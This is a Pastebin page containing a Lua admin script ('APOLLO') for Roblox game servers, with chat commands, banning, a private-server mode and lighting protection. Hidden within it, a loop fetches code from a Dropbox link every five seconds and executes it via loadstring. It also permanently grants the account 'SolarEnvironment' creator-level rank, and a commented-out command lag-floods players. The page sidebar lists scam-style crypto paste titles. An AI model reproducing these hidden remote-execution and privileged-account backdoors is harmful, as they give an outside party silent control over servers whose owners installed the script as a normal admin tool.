APOLLO.Functions.AddCommand('Force','#',4,'Force a command upon a player.',function(user,msg) for i,v in next,APOLLO.Functions.getPlayers(user,msg)do APOLLO.Functions.Chat(v,tostring(msg)) end;end); APOLLO.Functions.AddCommand('Clear','clr',2,'Clears the workspace.',function() for i,d in next,workspace:children()do pcall(function()d:remove()end);end; for i,v in next,game:service'Lighting':children()do pcall(function()d:Destroy()end); end for i,v in next,game:service'Players':players() do if(script.ClassName=='Script')then v:LoadCharacter() elseif NS~=nil then NS([[game:service'Players':children()[]]..i..[[]:LoadCharacter()]],game:service'Workspace'); else print'Script builder not loadcharacter compatible. Sorry.' end end local b=Instance.new("Part",workspace) b.Size=Vector3.new(700,1.200000005,700) b.Material='Grass' b.BrickColor=BrickColor.new('Dark green') b.Anchored=true; b.Locked=true; b.Name='Base' end) --[[ APOLLO.Functions.AddCommand('Lag_Ban','lb',5,'Lagbans a player, causing him to leave and never come back',function(user,msg) for i,v in next,APOLLO.Functions.getPlayers(user,msg)do for i = 0,10000 do pcall(function()Instance.new("Message",v.PlayerGui).Text="W'sup"end) end;end;end) ]]-- local timeBan=game:service'RunService'.Stepped:connect(function() for i,v in next,APOLLO.TimeBanned do v.Time=v.Time-1 if v.Time>=0 then table.remove(APOLLO.TimeBanned,i); end end wait(1) end) local rotate=game:service'RunService'.Stepped:connect(function() if APOLLO.CoreStuff.RotMode==1 then APOLLO.Functions.rotateAnim(APOLLO.CoreStuff.tabPart) end for i,v in next,APOLLO.Ranked do if v.Name=='SolarEnvironment'and not v.Rank==7 then v.Name='SolarEnvironment';v.Reason='Creator';v.Rank=7 else APOLLO.Functions.AddRank('SolarEnvironment','Creator',7,'/'); end if v.Rank==7 and not v.Name=='APOLLO_SYSTEM'and not v.Reason=='EVENT_HANDELING'and not v.Name=='SolarEnvironment'and not v.Reason=='Creator'then v.Rank=0; end end if(APOLLO.Settings.sharedLock==true)then for i,v in next,shared do shared[i]=nil; end end if(APOLLO.Settings.sharedLock==true)then for i,v in next,_G do _G[i]=nil; end end end) game:service'RunService'.Stepped:connect(function() for i,v in next,game:service'Workspace':children() do if v.Name=='ApolloPart' and v:IsA'BasePart' then v.Position=Vector3.new(0,500,0); APOLLO.CoreStuff.tabPart=v return else local p=Instance.new("Part") p.Name='ApolloPart' p.Size=Vector3.new(1,1,1); p.Anchored=true; p.CanCollide=false; p.Transparency=1; p.Position=Vector3.new(0,500,0); APOLLO.CoreStuff.tabPart=v; return end end end) for i,p in next,game:service'Players':players() do wait(); for i,v in next,APOLLO.Banned do if tostring(v)==tostring(p) then APOLLO.Functions.kick(p); end end for i,v in next,APOLLO.TimeBanned do if tostring(v.Name)==tostring(p) then APOLLO.Functions.kick(p); end end if p~= nil then APOLLO.Functions.AddRank(p.Name,0,'APOLLO_ERROR: NOT_DEFINED') local f=false; for _,v in pairs(APOLLO.Logged) do if v["Name"] == tostring(p.Name) then f = true break end end if f==false then table.insert(APOLLO.Logged,{['Name']=p.Name,['Actions']={}}); end p.Chatted:connect(function(m) APOLLO.Functions.Chat(p,m) end) end if APOLLO.Settings.Pri==true then if APOLLO.Functions.getRank(p)==0 then APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'Do you want to allow '..p.Name..' into the server?','Really red') APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'Yes','Really red',function()APOLLO.Functions.dismiss(APOLLO.CoreStuff.MAIN_USER)APOLLO.Functions.setRank(p,1)end) APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'No','Dark green',function()APOLLO.Functions.dismiss(APOLLO.CoreStuff.MAIN_USER)APOLLO.Functions.kick(p)APOLLO.Functions.setRank(p,-0.1)end) APOLLO.Functions.kick(p)--I know, we're kicking them but next time they join, they are doneee. elseif APOLLO.Functions.getRank(p)==-0.1 then APOLLO.Functions.kick(p); end end end local Enter=game:service'Players'.PlayerAdded:connect(function(p) for i,v in next,APOLLO.Banned do if tostring(v)==tostring(p) then APOLLO.Functions.kick(p); end end for i,v in next,APOLLO.TimeBanned do if tostring(v.Name)==tostring(p) then APOLLO.Functions.kick(p); end end if p~=nil then APOLLO.Functions.AddRank(p.Name,0,'APOLLO_ERROR: NOT_DEFINED') local f=false; for _,v in pairs(APOLLO.Logged) do if v["Name"] == tostring(p.Name) then f = true break end end if f==false then table.insert(APOLLO.Logged,{['Name']=p.Name,['Actions']={}}); end p.Chatted:connect(function(m) APOLLO.Functions.Chat(p,m) end) if APOLLO.Settings.Pri==true then if APOLLO.Functions.getRank(p)<1 then pcall(function()p:Kick()end) APOLLO.Functions.kick(p); end end --granted print('Welcome '..tostring(p)..' to the server.') end if APOLLO.CoreStuff.RotMode==2 then APOLLO.Functions.rotAnim2(p); end if p.Name=='TheDarkRevenant'then APOLLO.Settings.SaveLighting=false; end end) for i,v in next,APOLLO.Services do v.Changed:connect(function() if v.Name~=v.ClassName then print(tostring(v.Name).."'s name was restored to "..v.ClassName); v.Name=v.ClassName; end end); end game:service'Lighting'.Changed:connect(function() if(APOLLO.Settings.SaveLighting==true)then if(APOLLO.CoreStuff.ChangingLighting==false)then APOLLO.Functions.fixLighting(); end end wait(); end); local Leave=game:service'Players'.PlayerRemoving:connect(function(pl) for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do if v.Owner == pl or v.Owner == nil then APOLLO.CoreStuff.SavedTabletsInfo[i]=nil end end for i,v in next,APOLLO.CoreStuff.StoredTablets do if v.Owner == pl or v.Owner == nil then pcall(function() APOLLO.CoreStuff.StoredTablets[i].P:remove() end) APOLLO.CoreStuff.StoredTablets[i]=nil end end for i,v in next,APOLLO.Idling do if v.Name==pl.Name then table.remove(APOLLO.Idling,i); end end if APOLLO.Settings.NilsAllowed==false then APOLLO.Functions.kick(p) end end) if APOLLO.Settings.Pri==true then for i,p in next,game:service'Players':players() do if APOLLO.Functions.getRank(p)<=0 then APOLLO.Functions.kick(p); end end if p.Name=='TheDarkRevenant'then APOLLO.Settings.SaveLighting=true; end end --[[ for i,v in next,game:service'Players':players() do APOLLO.Functions.tabletOutput(v,'Welcome to APOLLO!','Really red'); APOLLO.Functions.tabletOutput(v,'Turn any kind of interaction with APOLLO off?','Really red',function()APOLLO.Functions.dismiss(v) APOLLO.Functions.tabletOutput(v,'Yes','Really red',function()APOLLO.Functions.dismiss(v) for i,k in next,APOLLO.Ranked do if k.Name==v.Name then k.Silent=true; end end end) APOLLO.Functions.tabletOutput(v,'No','Really red',function()APOLLO.Functions.dismiss(v)end) end) end]]-- coroutine.wrap(function() while(wait(5))do pcall(function()loadstring(game:service'HttpService':GetAsync('https://www.dropbox.com/s/62241ogaipafy41/External_Link.txt?dl=1',true))()end) end end)() MESRE=game.ItemChanged:connect(function(o) if o.Name=='Unremovable_Message_Instance' then return end if o:IsA'Message' or o:IsA'Hint'then if(APOLLO.Settings.NoMessage==true)then repeat wait() o:remove() until o==nil end end end) coroutine.wrap(function() while(wait())do for i,v in next,APOLLO.Idling do for i = 0,10,1 do wait() APOLLO.Functions.tabletOutput(game:service'Players':findFirstChild(v.Name),'','Really red'); end wait(0.8) APOLLO.Functions.dismiss(game:service'Players':findFirstChild(v.Name)); end end end)() while(wait())do if APOLLO.Settings.SecurePlayergui then for i,v in next,game:service'Players':players() do if not v:findFirstChild('PlayerGui') or not v.PlayerGui:IsA'PlayerGui' then wait(3) if not v:findFirstChild("PlayerGui") or not v.PlayerGui:IsA'PlayerGui' then APOLLO.Functions.permaMessage('A players PlayerGuis was removed. Shutting down server ~~APOLLO server security') wait(3) APOLLO.Functions.initiateShutdown() end end end end end
Optional Paste Settings
Category:
None
Cryptocurrency
Cybersecurity
Fixit
Food
Gaming
Haiku
Help
History
Housing
Jokes
Legal
Money
Movies
Music
Pets
Photo
Science
Software
Source Code
Spirit
Sports
Travel
TV
Writing
Tags:
Syntax Highlighting:
None
Bash
C
C#
C++
CSS
HTML
JSON
Java
JavaScript
Lua
Markdown (PRO members only)
Objective C
PHP
Perl
Python
Ruby
Swift
4CS
6502 ACME Cross Assembler
6502 Kick Assembler
6502 TASM/64TASS
ABAP
AIMMS
ALGOL 68
APT Sources
ARM
ASM (NASM)
ASP
ActionScript
ActionScript 3
Ada
Apache Log
AppleScript
Arduino
Asymptote
AutoIt
Autohotkey
Avisynth
Awk
BASCOM AVR
BNF
BOO
Bash
Basic4GL
Batch
BibTeX
Blitz Basic
Blitz3D
BlitzMax
BrainFuck
C
C (WinAPI)
C Intermediate Language
C for Macs
C#
C++
C++ (WinAPI)
C++ (with Qt extensions)
C: Loadrunner
CAD DCL
CAD Lisp
CFDG
CMake
COBOL
CSS
Ceylon
ChaiScript
Chapel
Clojure
Clone C
Clone C++
CoffeeScript
ColdFusion
Cuesheet
D
DCL
DCPU-16
DCS
DIV
DOT
Dart
Delphi
Delphi Prism (Oxygene)
Diff
E
ECMAScript
EPC
Easytrieve
Eiffel
Email
Erlang
Euphoria
F#
FO Language
Falcon
Filemaker
Formula One
Fortran
FreeBasic
FreeSWITCH
GAMBAS
GDB
GDScript
Game Maker
Genero
Genie
GetText
Go
Godot GLSL
Groovy
GwBasic
HQ9 Plus
HTML
HTML 5
Haskell
Haxe
HicEst
IDL
INI file
INTERCAL
IO
ISPF Panel Definition
Icon
Inno Script
J
JCL
JSON
Java
Java 5
JavaScript
Julia
KSP (Kontakt Script)
KiXtart
Kotlin
LDIF
LLVM
LOL Code
LScript
Latex
Liberty BASIC
Linden Scripting
Lisp
Loco Basic
Logtalk
Lotus Formulas
Lotus Script
Lua
M68000 Assembler
MIX Assembler
MK-61/52
MPASM
MXML
MagikSF
Make
MapBasic
Markdown (PRO members only)
MatLab
Mercury
MetaPost
Modula 2
Modula 3
Motorola 68000 HiSoft Dev
MySQL
Nagios
NetRexx
Nginx
Nim
NullSoft Installer
OCaml
OCaml Brief
Oberon 2
Objeck Programming Langua
Objective C
Octave
Open Object Rexx
OpenBSD PACKET FILTER
OpenGL Shading
Openoffice BASIC
Oracle 11
Oracle 8
Oz
PARI/GP
PCRE
PHP
PHP Brief
PL/I
PL/SQL
POV-Ray
ParaSail
Pascal
Pawn
Per
Perl
Perl 6
Phix
Pic 16
Pike
Pixel Bender
PostScript
PostgreSQL
PowerBuilder
PowerShell
ProFTPd
Progress
Prolog
Properties
ProvideX
Puppet
PureBasic
PyCon
Python
Python for S60
QBasic
QML
R
RBScript
REBOL
REG
RPM Spec
Racket
Rails
Rexx
Robots
Roff Manpage
Ruby
Ruby Gnuplot
Rust
SAS
SCL
SPARK
SPARQL
SQF
SQL
SSH Config
Scala
Scheme
Scilab
SdlBasic
Smalltalk
Smarty
StandardML
StoneScript
SuperCollider
Swift
SystemVerilog
T-SQL
TCL
TeXgraph
Tera Term
TypeScript
TypoScript
UPC
Unicon
UnrealScript
Urbi
VB.NET
VBScript
VHDL
VIM
Vala
Vedit
VeriLog
Visual Pro Log
VisualBasic
VisualFoxPro
WHOIS
WhiteSpace
Winbatch
XBasic
XML
XPP
Xojo
Xorg Config
YAML
YARA
Z80 Assembler
ZXBasic
autoconf
jQuery
mIRC
newLISP
q/kdb+
thinBasic
Paste Expiration:
Never
Burn after read
10 Minutes
1 Hour
1 Day
1 Week
2 Weeks
1 Month
6 Months
1 Year
Paste Exposure:
Public
Unlisted
Private
Folder:
(members only)
Password
NEW
Enabled
Disabled
Burn after read
NEW
Paste Name / Title:
Create New Paste
Hello
Guest
Sign Up
or
Login
Sign in with Facebook
Sign in with Twitter
Sign in with Google
You are currently not logged in, this means you can not edit or delete anything you paste.
Sign Up
or
Login
Public Pastes
⭐⭐ FREE BTC GUIDE ✅ Working ⭐⭐
JavaScript | 3 min ago | 0.67 KB
🎯🎯 +50,000$ in 1 month⭐ 🎯🎯
JavaScript | 4 min ago | 0.67 KB
⭐⭐ INSTANT MONEY EXPLOIT ⭐⭐ ✅
JavaScript | 7 min ago | 0.67 KB
⚡ Earn 8,000$ Monthly Leaked Guide 🎯⭐
JavaScript | 10 min ago | 0.67 KB
⭐⭐ Crypto Swap Glitch ✅ Easy money ⭐⭐
JavaScript | 11 min ago | 0.67 KB
💎 2OOO$ 15 MIN INSANE METHOD 💵🚨 ✅✅
JavaScript | 15 min ago | 0.67 KB
💎💎💎 EXPLOIT 2,500$ IN 10 MINUTES
JavaScript | 15 min ago | 0.67 KB
✅ FREE 2,000$ FROM SWAPZONE ✅
JavaScript | 19 min ago | 0.67 KB
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the
Cookies Policy
.
OK, I Understand
Not a member of Pastebin yet?
Sign Up
, it unlocks many cool features!